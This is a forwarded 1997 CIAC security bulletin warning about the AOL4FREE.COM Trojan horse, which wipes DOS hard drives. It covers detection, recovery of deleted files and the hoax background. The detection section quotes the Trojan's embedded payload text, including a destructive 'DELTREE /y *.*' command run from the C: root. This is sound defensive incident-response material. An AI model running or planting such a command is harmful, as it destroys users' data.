This just arrived today from the system guru at our computer center, so
it is no GOOD TIMES hoax, but a real warning.

Date: Fri, 18 Apr 1997 15:32:28 -0500 (CDT)
From: Steven Stern <steven.stern@gsbpop.uchicago.edu>
Subject: CIAC Bulletin H-47: AOL4FREE.COM Trojan Horse Program Destroys
Hard Drives

----------- Begin Quote -----------

Date: Wed, 16 Apr 1997 18:24:30 -0700 (PDT)
From: ciac@tholia.llnl.gov (CIAC Mail User)
To: ciac-bulletin@tholia.llnl.gov
Subject: CIAC Bulletin H-47: AOL4FREE.COM Trojan Horse Program Destroys

Hard Drives

Sender: owner-ciac-bulletin@tholia.llnl.gov

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            __________________________________________________________

                      The U.S. Department of Energy
                   Computer Incident Advisory Capability
                          ___  __ __    _     ___
                         /       |     /_\   /
                         \___  __|__  /   \  \___
            __________________________________________________________

                            INFORMATION BULLETIN

              AOL4FREE.COM Trojan Horse Program Destroys Hard Drives

April 16, 1997 18:00 GMT                                           Number

H-47

___________________________________________________________________________

___

PROBLEM:       A Trojan Horse program called AOL4FREE.COM that deletes all
              files on a hard drive is circulating the Internet.
PLATFORM:      DOS/Windows-based PCs
DAMAGE:        When the AOL4FREE.COM program is executed, all files and
              directories on the users C: drive are deleted.
SOLUTION:      DO NOT execute this program. If the program starts

executing,

              quickly pressing Ctrl-C will save some of your files.

___________________________________________________________________________

___

VULNERABILITY  Users who download the trojaned AOL4FREE.COM program and
ASSESSMENT:    executes it will destroy all the files and directories on

their

              DOS C: drive.

___________________________________________________________________________

___

NOTE: THIS IS DIFFERENT FROM THE AOL4FREE HOAX MESSAGE.

CIAC has obtained a Trojaned copy of AOL4FREE.COM that destroys hard

drives.

CIAC has obtained a Trojaned copy of the AOL4FREE.COM program that, if run,
deletes all the files on a user's hard drive. If you are e-mailed this

file,

or if you have downloaded it from an online service, do not attempt to

run it.

If the program was received as an attachment to an e-mail message, do not
double click (open) it. Opening an attached program runs that program,

which

in this case deletes all the files on your hard drive. The original
AOL4FREE.COM was a program for fraudulently creating free AOL (America

Online)

accounts. Note that any attempt to use the original AOL4FREE.COM program

may

subject you to prosecution.

NOTE: Most antivirus programs will not detect this or other Trojan Horse
     programs.

Detection
=========

AOL4FREE.COM is a Trojan program that is 993 bytes (2 sectors) long.
It masquerades as the AOL4FREE program that allows the fraudulent

creation of

free AOL accounts. The following text is readable in the AOL4FREE.COM file
if you display it with the DOS TYPE command or the DOS EDIT program.

Compiled by BAT2EXEC 1.5
PC Magazine . Douglas Boling

Note that this text may appear in any program compiled with the BAT2EXEC
program and has nothing to do with the Trojan Horse.

If you open the AOL4FREE.COM file with a disk editor or with the Windows
Notepad program, the following text is found at the end of the second

sector

of the file.

PATH
COMMANDC earc
/C C:
/C CD\
DELTREE   /y *.*
ECHOOYOUR COMPUTER HAS JUST BEEN F***ED BY *VP* F*** YOU AOL-LAMER

Where F*** is a common vulgar explicative.

Recovery
========

Pressing Ctrl-C before the Trojan Horse finishes deleting all your files

will

save some of them. If the program runs to completion, all the files on
your root drive will have been deleted. The files are deleted with the
DOS DELTREE command, so the contents of the files are still on your hard
disk, only the directory entries have been deleted. Any program that can
recover deleted files will allow you to recover some or all of the files
on your hard disk.

While attempting to recover files, be sure to not write any new files onto
the hard disk as the new files may overwrite the contents of a deleted

file,

making it impossible to recover. You will probably have to boot your system
with a floppy and run any recovery programs from there.

If you happen to have one of the delete tracking programs installed on your
system (a program that keeps track of deleted files in case you want them
back) the recovery operation will be relatively simple. Follow the

directions

in your delete tracking program to recover your files. If not, you will
probably have to recover each file individually, supplying the first

character

of the file name, which is overwritten in the directory when the file is
deleted. Most DOS/Windows disk tools programs also have the capability for
recovering deleted files so follow the directions included with those

programs

to do so.

Background
==========

The original AOL4FREE.COM program was developed to fraudulently create free
AOL accounts. The creator of that program has pleaded guilty to defrauding
America Online for distributing that program. Anyone else attempting to use
that program to defraud AOL could also be prosecuted.

An e-mail message was recently circulating about the Internet that

warned of

an AOL4FREE virus, but that warning is either a hoax or a badly

misunderstood

description of this Trojan Horse.
1.  This program is a Trojan Horse, not a virus. It does not spread on

its own.

2.  A Trojan Horse must be run to do any damage.
3.  Reading an e-mail message with the Trojan Horse program as an

attachment

   will not run the Trojan Horse and will not do any damage. Note that
   opening an attached program from within an e-mail reader runs that
   attached program, which may make it appear that reading the attachment
   caused the damage. Users should keep in mind that any file with a

.COM or

   .EXE extension is a program, not a document and that double clicking or
   opening that program will run it.

CIAC still affirms that reading an e-mail message, even one with an

attached

program, can not do damage to a system. The attachment must be both

downloaded

onto the system and run to do any damage.

CIAC, the Computer Incident Advisory Capability, is the computer
security incident response team for the U.S. Department of Energy
(DOE) and the emergency backup response team for the National
Institutes of Health (NIH). CIAC is located at the Lawrence Livermore
National Laboratory in Livermore, California. CIAC is also a founding
member of FIRST, the Forum of Incident Response and Security Teams, a
global organization established to foster cooperation and coordination
among computer security teams worldwide.

CIAC services are available to DOE, DOE contractors, and the NIH. CIAC
can be contacted at:
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available from the CIAC Computer Security Archive.

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